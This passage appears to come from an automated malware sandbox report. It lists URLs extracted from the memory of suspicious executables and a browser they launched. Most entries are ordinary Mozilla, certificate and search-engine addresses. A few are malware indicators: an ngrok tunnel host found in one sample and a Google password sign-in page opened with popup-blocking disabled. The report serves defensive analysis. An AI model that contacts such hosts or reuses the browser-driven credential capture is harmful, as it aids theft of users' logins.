Source: firefox.exe, 0000002D.00000002.3691338549.000001FAC28F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3660787016.000001FABAEB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3685262702.000001FABE107000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3661773980.000001FABAF8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3659101416.000001FABAB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3679855648.000001FABD1FC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3336641803.000001FAB61C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3676558352.000001FABCE54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3683734044.000001FABE037000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3677741157.000001FABCFCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3675240759.000001FABCDE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3282865734.000001FAC29A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3654405899.000001FABA6FC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3685262702.000001FABE12C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3681573733.000001FABD5BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3677741157.000001FABCFA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3691338549.000001FAC28AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3660787016.000001FABAE94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3625322988.000001FABA237000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3660787016.000001FABAE77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3691338549.000001FAC28CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000017.00000002.2796253870.000000000338E000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2795376178.0000000003250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: 684030933f.exe, 0000001C.00000003.3122599924.00000000055CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3662838850.000001FABB194000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: 684030933f.exe, 0000001C.00000003.3122599924.00000000055CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3662838850.000001FABB194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000017.00000002.2796253870.000000000338E000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2795376178.0000000003250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: firefox.exe, 0000002D.00000002.3651913103.000001FABA52E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3238461924.000001FABA530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA3C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000002D.00000002.3691338549.000001FAC2874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000002D.00000002.3691338549.000001FAC2874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3238461924.000001FABA530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA3C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3238461924.000001FABA530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA3C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: file.exe, 00000000.00000002.2608321181.000000006F8DD000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateSERVICE_NOT_ENOUGH_COMMAND_LINE_ARGSSERVICE_STILL_APPLYING_ON_
Source: firefox.exe, 0000002D.00000002.3423827552.000001FAB7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 0000002D.00000002.3677741157.000001FABCF6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A46000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3665438592.000001FABB594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulExtension
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulPanelUI._onNotificationButtonEvent:
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulbrowser.startup.homepage_override.exten
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulgetAttrDataAsync:
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulopenPreferences/internalPrefCategoryNam
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/BrowserTelemetry
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/ExtensionPrefere
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/InlineSpellCheck
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/PlacesTransactio
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/PolicySearchEngi
Source: file.exe, 00000000.00000002.2607381005.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2592725338.000000001D227000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: firefox.exe, 00000030.00000003.3283574762.000001691913C000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3313965246.000001691913C000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3287868469.000001691913C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.videolan.org/x264.html
Source: 684030933f.exe, 0000001C.00000003.3122599924.00000000055CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3662838850.000001FABB194000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3691338549.000001FAC2874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 684030933f.exe, 0000001C.00000003.3122599924.00000000055CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3662838850.000001FABB194000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3691338549.000001FAC2874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000002D.00000003.3226961322.000001FABA21D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3547489563.000001FAB9E70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002D.00000003.3227593237.000001FABA260000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3227323210.000001FABA23E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3227918892.000001FABA281000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3226671698.000001FABA000000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/get
Source: file.exe, 00000000.00000002.2571085953.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064157220.000000000554C000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064269719.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064429069.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225905521.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3226159938.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225669173.0000000005F2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000002D.00000002.3681573733.000001FABD5BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.caURI_SAFE_FOR_UNTRUSTED_CONTENTtemplate-permission-popupfirefox-compact-d
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000002D.00000002.3690428072.000001FAC27BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 0000002D.00000002.3690428072.000001FAC2774000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3689507199.000001FAC25D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3664917926.000001FABB465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000002D.00000002.3327978987.000001FAAC4C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: c2fcbf308b.exe, 0000001B.00000003.2936500946.00000000076A2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: c2fcbf308b.exe, 0000001B.00000003.2936500946.00000000076A2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA3D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orghttps://screenshots.firefox.comaccount-connection-disconnectedshowBadgeOnl
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3670137618.000001FABBB20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3311670546.0000014814204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000002D.00000002.3689507199.000001FAC25D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000002D.00000002.3311670546.0000014814204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://baidu.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: firefox.exe, 0000002D.00000002.3335512997.000001FAB60AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3299762817.000001DBBC0C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.00000169183EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: firefox.exe, 0000002D.00000002.3335512997.000001FAB60AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3299762817.000001DBBC0C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.00000169183EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: firefox.exe, 0000002D.00000002.3659101416.000001FABABEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000002D.00000002.3691338549.000001FAC2890000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000002D.00000002.3691338549.000001FAC2890000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000002D.00000002.3691338549.000001FAC2890000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000002D.00000002.3691338549.000001FAC2890000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: file.exe, 00000000.00000002.2571085953.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064157220.000000000554C000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064269719.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064429069.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225905521.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3226159938.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225669173.0000000005F2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2571085953.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3092709132.00000000055AF000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064157220.000000000554C000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064269719.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064429069.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3093121847.000000000553D000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3252726708.0000000005F90000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225905521.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3226159938.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225669173.0000000005F2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2571085953.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3092709132.00000000055AF000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064157220.000000000554C000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064269719.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064429069.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3093121847.000000000553D000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3252726708.0000000005F90000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225905521.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3226159938.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225669173.0000000005F2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
